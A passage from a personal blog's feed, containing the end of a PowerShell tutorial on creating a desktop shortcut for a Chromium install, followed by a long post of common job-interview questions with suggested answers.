</span></span><span style="display:flex;"><span>        Remove-Item $ShortcutPath
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    $WScriptObj = New-Object -ComObject (<span style="color:#e6db74">&#34;WScript.Shell&#34;</span>)
</span></span><span style="display:flex;"><span>    $shortcut = $WscriptObj.CreateShortcut($ShortcutPath)
</span></span><span style="display:flex;"><span>    $shortcut.TargetPath = $SourceFilePath
</span></span><span style="display:flex;"><span>    $shortcut.Save()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>First, where will the shortcut be located? Like a sane person, it will be on the desktop.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$ShortcutPath = <span style="color:#e6db74">&#34;</span>$env:USERPROFILE<span style="color:#e6db74">\Desktop\Chromium.lnk&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>Now, if there is an existing shortcut icon, we will remove it because editing that is a hassle.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (Test-Path -Path $ShortcutPath -PathType Leaf){Remove-Item $ShortcutPath}</span></span></code></pre></td></tr></table>
</div>
</div>
<p><code>wscript.Shell</code> is a function that exposes OS Shell methods. Long story short, an easy way to make a shortcut icon.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$WScriptObj = New-Object -ComObject (<span style="color:#e6db74">&#34;WScript.Shell&#34;</span>)</span></span></code></pre></td></tr></table>
</div>
</div>
<p>To create a new shortcut, we need to say where the shortcut will be placed.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$shortcut = $WscriptObj.CreateShortcut($ShortcutPath)</span></span></code></pre></td></tr></table>
</div>
</div>
<p>And, what will be its target executable.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$shortcut.TargetPath = $SourceFilePath</span></span></code></pre></td></tr></table>
</div>
</div>
<p>and save the shortcut. Voila, you get a shortcut to the desktop.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$shortcut.Save()</span></span></code></pre></td></tr></table>
</div>
</div>
<h1 id="what-if-i-get-struck">What if I get struck?</h1>
<p>First, what the fuck?, Second, what the actual <a href="https://www.urbandictionary.com/define.php?term=what%20the%20flying%20fuck">flying fuck</a>??</p>
<p>Ahheemm&hellip; Let&rsquo;s be professional here. There is no shame in that dear.

<figure><picture>
          <source srcset="/images/update-ungoogled-chromium/no-shame-in-that-dear_hu14462717680635069179.webp" type="image/webp">
          <source srcset="/images/update-ungoogled-chromium/no-shame-in-that-dear_hu6060574182399096831.jpg" type="image/jpeg">
          <img src="/images/update-ungoogled-chromium/no-shame-in-that-dear_hu14462717680635069179.webp"alt="I am gonna try this line on a horologist lady"  width="400"  height="169" />
        </picture><figcaption>
            <p>I am gonna try this line on a horologist lady</p>
          </figcaption></figure></p>
<p>You can either:</p>
<ul>
<li><a href="https://www.google.com/search?q=PowerShell+troubleshooting">Do a Google search yourself</a></li>
<li><a href="/contact/">Contact me</a></li>
</ul>
<h1 id="finallyhttpsyoutubers2hlc0sipat38"><a href="https://youtu.be/RS2HLC0sipA?t=38">Finally</a></h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>Remember, remember, the 5th of November, the gunpowder, treason and plot.
</span></span><span style="display:flex;"><span>I know of no reason why the gunpowder treason should ever be forgot.
</span></span></code></pre></div>]]></content></item><item><title>How to Answer The 64 Toughest Interview Questions</title><link>https://blzr.sbs/posts/how-to-answer-64-toughest-interview-questions/</link><pubDate>Fri, 26 Aug 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/how-to-answer-64-toughest-interview-questions/</guid><description>Toughest Interview Questions, now with answering hacks</description><content type="html"><![CDATA[<h2 id="general-guidelines-in-answering-interview-questions">General Guidelines in Answering Interview Questions</h2>
<p>Everyone is nervous on interviews. If you simply allow yourself to feel nervous, you&rsquo;ll do much better. Remember also that it&rsquo;s difficult for the interviewer as well. In general, be upbeat and positive. Never be negative.</p>
<p>Rehearse your answers and time them. Never talk for more than 2 minutes straight. Don&rsquo;t try to memorize answers word for word. Use the answers shown here as a guide only, and don&rsquo;t be afraid to include your own thoughts and words. To help you remember key concepts, jot down and review a few key words for each answer.</p>
<p>Rehearse your answers frequently, and they will come to you naturally in interviews. As you will read in the accompanying report, the single most important strategy in interviewing, as in all phases of your job search, is what we call: &ldquo;The Greatest Executive Job Finding Secret.&rdquo;</p>
<p><code>And that is...</code></p>
<p>Find out what people want, than show them how you can help them get it. Find out what an employer wants most in his or her ideal candidate, then show how you meet those qualifications. In other words, you must match your abilities, with the needs of the employer. You must sell what the buyer is buying. To do that, before you know what to emphasize in your answers, you must find out what the buyer is buying (what he is looking for). And the best way to do that is to ask a few questions yourself.</p>
<p>You will see how to bring this off skillfully as you read the first two questions of this report. But regardless of how you accomplish it, you must remember this strategy above all:</p>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Tip</b>
        </div>
        <div class="admonition-content">before blurting out your qualifications, you must get some idea of what the employer wants most.</div>
    </aside>
<p>Once you know what he wants, you can then present your qualifications as the perfect “key” that fits the “lock” of that position.</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Other important interview strategies:</b>
        </div>
        <div class="admonition-content"><ul>
<li>Turn weaknesses into strengths (You&rsquo;ll see how to do this in a few moments.)</li>
<li>Think before you answer. A pause to collect your thoughts is a hallmark of a thoughtful person.</li>
</ul>
</div>
    </aside>
<p>As a daily exercise, practice being more optimistic. For example, try putting a positive spin on events and situations you would normally regard as negative. This is not meant to turn you into a Pollyanna, but to sharpen your selling skills. The best salespeople, as well as the best liked interview candidates, come off as being naturally optimistic, &ldquo;can do&rdquo; people. You will dramatically raise your level of attractiveness by daily practicing to be more optimistic. <code>Be honest...never lie</code>.</p>
<p>Keep an interview diary. Right after each interview note what you did right, what could have gone a little better, and what steps you should take next with this contact. Then take those steps. Don&rsquo;t be like the 95% of humanity who say they will follow up on something, but never do.</p>
<p>About the 64 questions&hellip; You might feel that the answers to the following questions are “canned”, and that they will seldom match up with the exact way you are asked the questions in actual interviews. The questions and answers are designed to be as specific and realistic as possible. But no preparation can anticipate thousands of possible variations on these questions. What&rsquo;s important is that you thoroughly familiarize yourself with the main strategies behind each answer. And it will be invaluable to you if you commit to memory a few key words that let you instantly call to mind your best answer to the various questions. If you do this, and follow the principles of successful interviewing presented here, you&rsquo;re going to do very well. Good luck&hellip;and good job-hunting!</p>
<hr>
<ol>
<li><strong>Tell me about yourself.</strong></li>
</ol>
<p>TRAPS: Beware, about 80% of all interviews begin with this “innocent” question. Many candidates, unprepared for the question, skewer themselves by rambling, recapping their life story, delving into ancient work history or personal matters.</p>
<p>BEST ANSWER: Start with the present and tell why you are well qualified for the position. Remember that the key to all successful interviewing is to match your qualifications to what the interviewer is looking for. In other words you must sell what the buyer is buying. This is the single most important strategy in job hunting. So, before you answer this or any question it&rsquo;s imperative that you try to uncover your interviewer&rsquo;s greatest need, want, problem or goal. To do so, make you take these three steps:</p>
<ul>
<li>
<p>Do all the homework you can before the interview to uncover this person&rsquo;s wants and needs (not the generalized needs of the industry or company)</p>
</li>
<li>
<p>As early as you can in the interview, ask for a more complete description of what the position entails. You might say: “I have a number of accomplishments I&rsquo;d like to tell you about, but I want to make the best use of our time together and talk directly to your needs. To help me do, that, could you tell me more about the most important priorities of this position? All I know is what I (heard from the recruiter, read in the classified ad, etc.)” Then, ALWAYS follow-up with a second and possibly, third question, to draw out his needs even more. Surprisingly, it&rsquo;s usually this second or third question that unearths what the interviewer is most looking for. You might ask simply, &ldquo;And in addition to that?&hellip;&rdquo; or, &ldquo;Is there anything else you see as essential to success in this position? This process will not feel easy or natural at first, because it is easier simply to answer questions, but only if you uncover the employer&rsquo;s wants and needs will your answers make the most sense.</p>
</li>
<li>
<p>Practice asking these key questions before giving your answers, the process will feel more natural and you will be light years ahead of the other job candidates you&rsquo;re competing with. After uncovering what the employer is looking for, describe why the needs of this job bear striking parallels to tasks you&rsquo;ve succeeded at before. Be sure to illustrate with specific examples of your responsibilities and especially your achievements, all of which are geared to present yourself as a perfect match for the needs he has just described.</p>
</li>
</ul>
<hr>
<ol start="2">
<li><strong>What are your greatest strengths?</strong></li>
</ol>
<p>TRAPS: This question seems like a softball lob, but be prepared. You don&rsquo;t want to come across as egotistical or arrogant. Neither is this a time to be humble.</p>
<p>BEST ANSWER: You know that your key strategy is to first uncover your interviewer&rsquo;s greatest wants and needs before you answer questions. And from Question 1, you know how to do this. Prior to any interview, you should have a list mentally prepared of your greatest strengths. You should also have, a specific example or two, which illustrates each strength, an example chosen from your most recent and most impressive achievements. You should, have this list of your greatest strengths and corresponding examples from your achievements so well committed to memory that you can recite them cold after being shaken awake at 2:30AM. Then, once you uncover your interviewer&rsquo;s greatest wants and needs, you can choose those achievements from your list that best match up. As a general guideline, the 10 most desirable traits that all employers love to see in their employees are:</p>
<ol>
<li>A proven track record as an achiever&hellip;especially if your achievements match up with the employer&rsquo;s greatest wants and needs.</li>
<li>Intelligence&hellip;management &ldquo;savvy&rdquo;.</li>
<li>Honesty&hellip;integrity&hellip;a decent human being.</li>
<li>Good fit with corporate culture&hellip;someone to feel comfortable with&hellip;a team player who meshes well with interviewer&rsquo;s team.</li>
<li>Likeability&hellip;positive attitude&hellip;sense of humor.</li>
<li>Good communication skills.</li>
<li>Dedication&hellip;willingness to walk the extra mile to achieve excellence.</li>
<li>Definiteness of purpose&hellip;clear goals.</li>
<li>Enthusiasm&hellip;high level of motivation.</li>
<li>Confident&hellip;healthy&hellip;a leader.</li>
</ol>
<hr>
<ol start="3">
<li><strong>What are your greatest weaknesses?</strong></li>
</ol>
<p>TRAPS: Beware - this is an eliminator question, designed to shorten the candidate list. Any admission of a weakness or fault will earn you an “A” for honesty, but an “F” for the interview.</p>
<p>PASSABLE ANSWER: Disguise a strength as a weakness. Example: “I sometimes push my people too hard. I like to work with a sense of urgency and everyone is not always on the same wavelength.”</p>
<p>Drawback: This strategy is better than admitting a flaw, but it&rsquo;s so widely used, it is transparent to any experienced interviewer.</p>
<p>BEST ANSWER: (and another reason it&rsquo;s so important to get a thorough description of your interviewer&rsquo;s needs before you answer questions): Assure the interviewer that you can think of nothing that would stand in the way of your performing in this position with excellence. Then, quickly review you strongest qualifications.</p>
<p>Example: “Nobody&rsquo;s perfect, but based on what you&rsquo;ve told me about this position, I believe I&rsquo; d make an outstanding match. I know that when I hire people, I look for two things most of all. Do they have the qualifications to do the job well, and the motivation to do it well? Everything in my background shows I have both the qualifications and a strong desire to achieve excellence in whatever I take on. So I can say in all honesty that I see nothing that would cause you even a small concern about my ability or my strong desire to perform this job with excellence.”</p>
<p>Alternate strategy (if you don&rsquo;t yet know enough about the position to talk about such a perfect fit): Instead of confessing a weakness, describe what you like most and like least, making sure that what you like most matches up with the most important qualification for success in the position, and what you like least is not essential.</p>
<p>Example: <em>Let&rsquo;s say you&rsquo;re applying for a teaching position.</em> “If given a choice, I like to spend as much time as possible in front of my prospects selling, as opposed to shuffling paperwork back at the office. Of course, I long ago learned the importance of filing paperwork properly, and I do it conscientiously. But what I really love to do is sell (if your interviewer were a sales manager, this should be music to his ears.)</p>
<hr>
<ol start="4">
<li>Tell me about something you did – or failed to do – that you now feel a little ashamed of.</li>
</ol>
<p>TRAPS: There are some questions your interviewer has no business asking, and this is one. But while you may feel like answering, “none of your business,” naturally you can’t. Some interviewers ask this question on the chance you admit to something, but if not, at least they’ll see how you think on your feet. Some unprepared candidates, flustered by this question, unburden themselves of guilt from their personal life or career, perhaps expressing regrets regarding a parent, spouse, child, etc. All such answers can be disastrous.</p>
<p>BEST ANSWER: As with faults and weaknesses, never confess a regret. But don’t seem as if you’re stonewalling either.</p>
<p>Best strategy: Say you harbor no regrets, then add a principle or habit you practice regularly for healthy human relations.</p>
<p>Example: Pause for reflection, as if the question never occurred to you. Then say, “You know, I really can’t think of anything.” (Pause again, then add): “I would add that as a general management principle, I’ve found that the best way to avoid regrets is to avoid causing them in the first place. I practice one habit that helps me a great deal in this regard. At the end of each day, I mentally review the day’s events and conversations to take a second look at the people and developments I’m involved with and do a doublecheck of what they’re likely to be feeling. Sometimes I’ll see things that do need more follow-up, whether a pat on the back, or maybe a five minute chat in someone’s office to make sure we’re clear on things&hellip;whatever.”</p>
<p>“I also like to make each person feel like a member of an elite team, like the Boston Celtics or LA Lakers in their prime. I’ve found that if you let each team member know you expect excellence in their performance&hellip;if you work hard to set an example yourself&hellip;and if you let people know you appreciate and respect their feelings, you wind up with a highly motivated group, a team that’s having fun at work because they’re striving for excellence rather than brooding over slights or regrets.”</p>
<hr>
<ol start="5">
<li>Why are you leaving (or did you leave) this position?</li>
</ol>
<p>TRAPS: Never badmouth your previous industry, company, board, boss, staff, employees or customers. This rule is inviolable: never be negative. Any mud you hurl will only soil your suit. Especially avoid words like “personality clash”, “didn’t get along”, or others which cast a shadow on your competence, integrity, or temperament.</p>
<p>BEST ANSWER: (If you have a job presently) If you’re not yet 100% committed to leaving your present post, don’t be afraid to say so. Since you have a job, you are in a stronger position than someone who does not. But don’t be coy either. State honestly what you’d be hoping to find in a new spot. Of course, as stated often before, you answer will all the stronger if you have already uncovered what this position is all about and you match your desires to it. (If you do not presently have a job.) Never lie about having been fired. It’s unethical – and too easily checked. But do try to deflect the reason from you personally. If your firing was the result of a takeover, merger, division wide layoff, etc., so much the better. But you should also do something totally unnatural that will demonstrate consummate professionalism. Even if it hurts , describe your own firing – candidly, succinctly and without a trace of bitterness – from the company’s point-of-view, indicating that you could understand why it happened and you might have made the same decision yourself. Your stature will rise immensely and, most important of all, you will show you are healed from the wounds inflicted by the firing. You will enhance your image as first-class management material and stand head and shoulders above the legions of firing victims who, at the slightest provocation, zip open their shirts to expose their battle scars and decry the unfairness of it all. For all prior positions: Make sure you’ve prepared a brief reason for leaving. Best reasons: more money, opportunity, responsibility or growth.</p>
<hr>
<ol start="6">
<li>The “Silent Treatment”</li>
</ol>
<p>TRAPS: Beware – if you are unprepared for this question, you will probably not handle it right and possibly blow the interview. Thank goodness most interviewers don’t employ it. It’s normally used by those determined to see how you respond under stress.</p>
<p>Here’s how it works: You answer an interviewer’s question and then, instead of asking another, he just stares at you in a deafening silence. You wait, growing a bit uneasy, and there he sits, silent as Mt. Rushmore, as if he doesn’t believe what you’ve just said, or perhaps making you feel that you’ve unwittingly violated some cardinal rule of interview etiquette. When you get this silent treatment after answering a particularly difficult question , such as “tell me about your weaknesses”, its intimidating effect can be most disquieting, even to polished job hunters. Most unprepared candidates rush in to fill the void of silence, viewing prolonged, uncomfortable silences as an invitation to clear up the previous answer which has obviously caused some problem. And that’s what they do – ramble on, sputtering more and more information, sometimes irrelevant and often damaging, because they are suddenly playing the role of someone who’s goofed and is now trying to recoup. But since the candidate doesn’t know where or how he goofed, he just keeps talking, showing how flustered and confused he is by the interviewer’s unmovable silence.</p>
<p>BEST ANSWER: Like a primitive tribal mask, the Silent Treatment loses all it power to frighten you once you refuse to be intimidated. If your interviewer pulls it, keep quiet yourself for a while and then ask, with sincere politeness and not a trace of sarcasm, “Is there anything else I can fill in on that point?” That’s all there is to it. Whatever you do, don’t let the Silent Treatment intimidate you into talking a blue streak, because you could easily talk yourself out of the position.</p>
<hr>
<ol start="7">
<li>Why should I hire you?</li>
</ol>
<p>TRAPS: Believe it or not, this is a killer question because so many candidates are unprepared for it. If you stammer or adlib you’ve blown it.</p>
<p>BEST ANSWER: By now you can see how critical it is to apply the overall strategy of uncovering the employer’s needs before you answer questions. If you know the employer’s greatest needs and desires, this question will give you a big leg up over other candidates because you will give him better reasons for hiring you than anyone else is likely to&hellip;reasons tied directly to his needs. Whether your interviewer asks you this question explicitly or not, this is the most important question of your interview because he must answer this question favorably in is own mind before you will be hired. So help him out! Walk through each of the position’s requirements as you understand them, and follow each with a reason why you meet that requirement so well.</p>
<p>Example: “As I understand your needs, you are first and foremost looking for someone who can manage the sales and marketing of your book publishing division. As you’ve said you need someone with a strong background in trade book sales. This is where I’ve spent almost all of my career, so I’ve chalked up 18 years of experience exactly in this area. I believe that I know the right contacts, methods, principles, and successful management techniques as well as any person can in our industry.”</p>
<p>“You also need someone who can expand your book distribution channels. In my prior post, my innovative promotional ideas doubled, then tripled, the number of outlets selling our books. I’m confident I can do the same for you.”</p>
<p>“You need someone to give a new shot in the arm to your mail order sales, someone who knows how to sell in space and direct mail media. Here, too, I believe I have exactly the experience you need. In the last five years, I’ve increased our mail order book sales from $600,000 to $2,800,000, and now we’re the country’s second leading marketer of scientific and medical books by mail.”</p>
<p>Every one of these selling “couplets” (his need matched by your qualifications) is a touchdown that runs up your score. IT is your best opportunity to outsell your competition.</p>
<hr>
<ol start="8">
<li>Aren’t you overqualified for this position?</li>
</ol>
<p>TRAPS: The employer may be concerned that you’ll grow dissatisfied and leave.</p>
<p>BEST ANSWER: As with any objection, don’t view this as a sign of imminent defeat. It’s an invitation to teach the interviewer a new way to think about this situation, seeing advantages instead of drawbacks.</p>
<p>Example: “I recognize the job market for what it is – a marketplace. Like any marketplace, it’s subject to the laws of supply and demand. So ‘overqualified’ can be a relative term, depending on how tight the job market is. And right now, it’s very tight. I understand and accept that.”</p>
<p>“I also believe that there could be very positive benefits for both of us in this match.”</p>
<p>“Because of my unusually strong experience in ________________ , I could start to contribute right away, perhaps much faster than someone who’d have to be brought along more slowly.”</p>
<p>“There’s also the value of all the training and years of experience that other companies have invested tens of thousands of dollars to give me. You’d be getting all the value of that without having to pay an extra dime for it. With someone who has yet to acquire that experience, he’d have to gain it on your nickel.&rdquo;</p>
<p>“I could also help you in many things they don’t teach at the Harvard Business School. For example&hellip;(how to hire, train, motivate, etc.) When it comes to knowing how to work well with people and getting the most out of them, there’s just no substitute for what you learn over many years of front-line experience. You company would gain all this, too.”</p>
<p>“From my side, there are strong benefits, as well. Right now, I am unemployed. I want to work, very much, and the position you have here is exactly what I love to do and am best at. I’ll be happy doing this work and that’s what matters most to me, a lot more that money or title.”</p>
<p>“Most important, I’m looking to make a long term commitment in my career now. I’ve had enough of job-hunting and want a permanent spot at this point in my career. I also know that if I perform this job with excellence, other opportunities cannot help but open up for me right here. In time, I’ll find many other ways to help this company and in so doing, help myself. I really am looking to make a long-term commitment.”</p>
<p>NOTE: The main concern behind the “overqualified” question is that you will leave your new employer as soon as something better comes your way. Anything you can say to demonstrate the sincerity of your commitment to the employer and reassure him that you’re looking to stay for the long-term will help you overcome this objection.</p>
<hr>
<ol start="9">
<li>Where do you see yourself five years from now?</li>
</ol>
<p>TRAPS: One reason interviewers ask this question is to see if you’re settling for this position, using it merely as a stopover until something better comes along. Or they could be trying to gauge your level of ambition. If you’re too specific, i.e., naming the promotions you someday hope to win, you’ll sound presumptuous. If you’re too vague, you’ll seem rudderless.</p>
<p>BEST ANSWER: Reassure your interviewer that you’re looking to make a long-term commitment&hellip;that this position entails exactly what you’re looking to do and what you do extremely well. As for your future, you believe that if you perform each job at hand with excellence, future opportunities will take care of themselves.</p>
<p>Example: “I am definitely interested in making a long-term commitment to my next position. Judging by what you’ve told me about this position, it’s exactly what I’m looking for and what I am very well qualified to do. In terms of my future career path, I’m confident that if I do my work with excellence, opportunities will inevitable open up for me. It’s always been that way in my career, and I’m confident I’ll have similar opportunities here.”</p>
<hr>
<ol start="10">
<li>Describe your ideal company, location and job.</li>
</ol>
<p>TRAPS: This is often asked by an experienced interviewer who thinks you may be overqualified, but knows better than to show his hand by posing his objection directly. So he’ll use this question instead, which often gets a candidate to reveal that, indeed, he or she is looking for something other than the position at hand.</p>
<p>BEST ANSWER: The only right answer is to describe what this company is offering, being sure to make your answer believable with specific reasons, stated with sincerity, why each quality represented by this opportunity is attractive to you. Remember that if you’re coming from a company that’s the leader in its field or from a glamorous or much admired company, industry, city or position, your interviewer and his company may well have an “Avis” complex. That is, they may feel a bit defensive about being “second best” to the place you’re coming from, worried that you may consider them bush league. This anxiety could well be there even though you’ve done nothing to inspire it. You must go out of your way to assuage such anxiety, even if it’s not expressed, by putting their virtues high on the list of exactly what you’re looking for, providing credible reason for wanting these qualities. If you do not express genuine enthusiasm for the firm, its culture, location, industry, etc., you may fail to answer this “Avis” complex objection and, as a result, leave the interviewer suspecting that a hot shot like you, coming from a Fortune 500 company in New York, just wouldn’t be happy at an unknown manufacturer based in Topeka, Kansas.</p>
<hr>
<ol start="11">
<li>Why do you want to work at our company?</li>
</ol>
<p>TRAPS: This question tests whether you’ve done any homework about the firm. If you haven’t, you lose. If you have, you win big.</p>
<p>BEST ANSWER: This question is your opportunity to hit the ball out of the park, thanks to the in-depth research you should do before any interview. Best sources for researching your target company: annual reports, the corporate newsletter, contacts you know at the company or its suppliers, advertisements, articles about the company in the trade press.</p>
<hr>
<ol start="12">
<li>What are your career options right now?</li>
</ol>
<p>TRAPS: The interviewer is trying to find out, “How desperate are you?”</p>
<p>BEST ANSWER: Prepare for this question by thinking of how you can position yourself as a desired commodity. If you are still working, describe the possibilities at your present firm and why, though you’re greatly appreciated there, you’re looking for something more (challenge, money, responsibility, etc.). Also mention that you’re seriously exploring opportunities with one or two other firms. If you’re not working, you can talk about other employment possibilities you’re actually exploring. But do this with a light touch, speaking only in general terms. You don’t want to seem manipulative or coy.</p>
<hr>
<ol start="13">
<li>Why have you been out of work so long?</li>
</ol>
<p>TRAPS: A tough question if you’ve been on the beach a long time. You don’t want to seem like damaged goods.</p>
<p>BEST ANSWER: You want to emphasize factors which have prolonged your job search by your own choice.</p>
<p>Example: “After my job was terminated, I made a conscious decision not to jump on the first opportunities to come along. In my life, I’ve found out that you can always turn a negative into a positive IF you try hard enough. This is what I determined to do. I decided to take whatever time I needed to think through what I do best, what I most want to do, where I’d like to do it&hellip;and then identify those companies that could offer such an opportunity.”</p>
<p>“Also, in all honesty, you have to factor in the recession (consolidation, stabilization, etc.) in the (banking, financial services, manufacturing, advertising, etc.) industry.”</p>
<p>“So between my being selective and the companies in our industry downsizing, the process has taken time. But in the end, I’m convinced that when I do find the right match, all that careful evaluation from both sides of the desk will have been well worthwhile for both the company that hires me and myself.”</p>
<hr>
<ol start="14">
<li>Tell me honestly about the strong points and weak points of your boss (company, management team, etc.)</li>
</ol>
<p>TRAPS: Skillfull interviewers sometimes make it almost irresistible to open up and air a little dirty laundry from your previous position. DON’T.</p>
<p>BEST ANSWER: Remember the rule: Never be negative. Stress only the good points, no matter how charmingly you’re invited to be critical. Your interviewer doesn’t care a whit about your previous boss. He wants to find out how loyal and positive you are, and whether you’ll criticize him behind his back if pressed to do so by someone in this own company. This question is your opportunity to demonstrate your loyalty to those you work with.</p>
<hr>
<ol start="15">
<li>What good books have you read lately?</li>
</ol>
<p>TRAPS: As in all matters of your interview, never fake familiarity you don’t have. Yet you don’t want to seem like a dullard who hasn’t read a book since Tom Sawyer.</p>
<p>BEST ANSWER: Unless you’re up for a position in academia or as book critic for The New York Times, you’re not expected to be a literary lion. But it wouldn’t hurt to have read a handful of the most recent and influential books in your profession and on management. Consider it part of the work of your job search to read up on a few of these leading books. But make sure they are quality books that reflect favorably upon you, nothing that could even remotely be considered superficial. Finally, add a recently published bestselling work of fiction by a world-class author and you’ll pass this question with flying colors.</p>
<hr>
<ol start="16">
<li>Tell me about a situation when your work was criticized.</li>
</ol>
<p>TRAPS: This is a tough question because it’s a more clever and subtle way to get you to admit to a weakness. You can’t dodge it by pretending you’ve never been criticized. Everybody has been. Yet it can be quite damaging to start admitting potential faults and failures that you’d just as soon leave buried. This question is also intended to probe how well you accept criticism and direction.</p>
<p>BEST ANSWERS: Begin by emphasizing the extremely positive feedback you’ve gotten throughout your career and (if it’s true) that your performance reviews have been uniformly excellent. Of course, no one is perfect and you always welcome suggestions on how to improve your performance. Then, give an example of a not-too-damaging learning experience from early in your career and relate the ways this lesson has since helped you. This demonstrates that you learned from the experience and the lesson is now one of the strongest breastplates in your suit of armor. If you are pressed for a criticism from a recent position, choose something fairly trivial that in no way is essential to your successful performance. Add that you’ve learned from this, too, and over the past several years/months, it’s no longer an area of concern because you now make it a regular practice to&hellip;etc.</p>
